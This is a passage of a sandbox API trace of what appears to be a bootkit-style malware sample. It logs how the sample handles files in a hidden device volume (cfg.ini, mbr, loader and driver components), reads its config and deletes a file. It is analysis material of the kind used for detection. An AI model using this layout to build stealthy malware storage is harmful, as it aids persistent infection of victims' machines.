_Dest="0d24eb7c\\cfg.ini") returned 16 [0119.244] KeEnterCriticalRegion () [0119.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.244] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.244] IdePortDispatch () returned 0x103 [0119.245] KeWaitForMutexObject () returned 0x0 [0119.245] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.245] KeLeaveCriticalRegion () [0119.245] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.245] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.245] KeEnterCriticalRegion () [0119.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.245] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbd000 [0119.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.245] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.245] IdePortDispatch () returned 0x103 [0119.245] KeWaitForMutexObject () returned 0x0 [0119.245] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.245] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.245] IdePortDispatch () returned 0x103 [0119.245] KeWaitForMutexObject () returned 0x0 [0119.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.245] KeLeaveCriticalRegion () [0119.245] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.246] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.246] KeEnterCriticalRegion () [0119.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.246] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.246] KeLeaveCriticalRegion () [0119.246] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.246] KeEnterCriticalRegion () [0119.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.246] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.246] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.246] KeLeaveCriticalRegion () [0119.246] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.246] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.246] KeEnterCriticalRegion () [0119.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.246] ExFreePoolWithTag (P=0xfffffa8003bc1a50, Tag=0x0) [0119.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.246] KeLeaveCriticalRegion () [0119.246] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.246] ReleaseMutex (hMutex=0xf0) returned 1 [0119.246] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.246] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.246] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.246] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.246] KeEnterCriticalRegion () [0119.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.247] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.247] IdePortDispatch () returned 0x103 [0119.247] KeWaitForMutexObject () returned 0x0 [0119.247] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.247] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.247] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.247] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.247] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.247] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.247] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.247] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.247] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.247] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.247] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.247] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.247] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.247] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.247] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.247] KeLeaveCriticalRegion () [0119.247] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.247] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.247] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.247] KeEnterCriticalRegion () [0119.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.247] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.247] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.247] IdePortDispatch () returned 0x103 [0119.248] KeWaitForMutexObject () returned 0x0 [0119.248] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.248] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.248] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.248] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.248] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.248] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.248] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.248] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.248] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.248] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.248] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.248] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.248] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.248] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.248] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.248] KeLeaveCriticalRegion () [0119.248] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.248] ReleaseMutex (hMutex=0x100) returned 1 [0119.248] Sleep (dwMilliseconds=0x2bf20) [0119.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a45a650, dwHighDateTime=0x1d24fa4)) [0119.252] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.254] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.254] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.254] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.255] KeEnterCriticalRegion () [0119.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.255] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.255] IdePortDispatch () returned 0x103 [0119.255] KeWaitForMutexObject () returned 0x0 [0119.255] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.255] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.255] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.255] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.255] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.255] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa8590 [0119.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.255] KeLeaveCriticalRegion () [0119.255] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.255] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.255] KeEnterCriticalRegion () [0119.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.255] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.255] KeLeaveCriticalRegion () [0119.255] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.255] KeEnterCriticalRegion () [0119.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.255] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.255] IdePortDispatch () returned 0x103 [0119.255] KeWaitForMutexObject () returned 0x0 [0119.256] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.256] KeLeaveCriticalRegion () [0119.256] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.256] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.256] KeEnterCriticalRegion () [0119.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.256] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc0000 [0119.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.256] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.256] IdePortDispatch () returned 0x103 [0119.256] KeWaitForMutexObject () returned 0x0 [0119.256] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.256] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.256] IdePortDispatch () returned 0x103 [0119.256] KeWaitForMutexObject () returned 0x0 [0119.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.256] KeLeaveCriticalRegion () [0119.256] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.257] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.257] KeEnterCriticalRegion () [0119.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.257] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.257] KeLeaveCriticalRegion () [0119.257] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.257] KeEnterCriticalRegion () [0119.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.257] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.257] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.257] KeLeaveCriticalRegion () [0119.257] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.257] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.257] KeEnterCriticalRegion () [0119.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.257] ExFreePoolWithTag (P=0xfffffa8003aa8590, Tag=0x0) [0119.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.257] KeLeaveCriticalRegion () [0119.257] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.257] ReleaseMutex (hMutex=0xf0) returned 1 [0119.257] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.257] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.257] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.257] KeEnterCriticalRegion () [0119.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.257] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.257] IdePortDispatch () returned 0x103 [0119.258] KeWaitForMutexObject () returned 0x0 [0119.258] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.258] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.258] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.258] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.258] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.258] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbeb0 [0119.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.258] KeLeaveCriticalRegion () [0119.258] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.258] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.258] KeEnterCriticalRegion () [0119.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.258] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.258] KeLeaveCriticalRegion () [0119.258] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.258] KeEnterCriticalRegion () [0119.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.258] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.258] IdePortDispatch () returned 0x103 [0119.258] KeWaitForMutexObject () returned 0x0 [0119.258] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.259] KeLeaveCriticalRegion () [0119.259] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.259] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.259] KeEnterCriticalRegion () [0119.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.259] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc1000 [0119.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.259] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.259] IdePortDispatch () returned 0x103 [0119.259] KeWaitForMutexObject () returned 0x0 [0119.259] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.259] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.259] IdePortDispatch () returned 0x103 [0119.259] KeWaitForMutexObject () returned 0x0 [0119.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.259] KeLeaveCriticalRegion () [0119.259] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.260] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.260] KeEnterCriticalRegion () [0119.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.260] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.260] KeLeaveCriticalRegion () [0119.260] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.260] KeEnterCriticalRegion () [0119.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.260] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.260] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.260] KeLeaveCriticalRegion () [0119.260] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.260] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.260] KeEnterCriticalRegion () [0119.260] 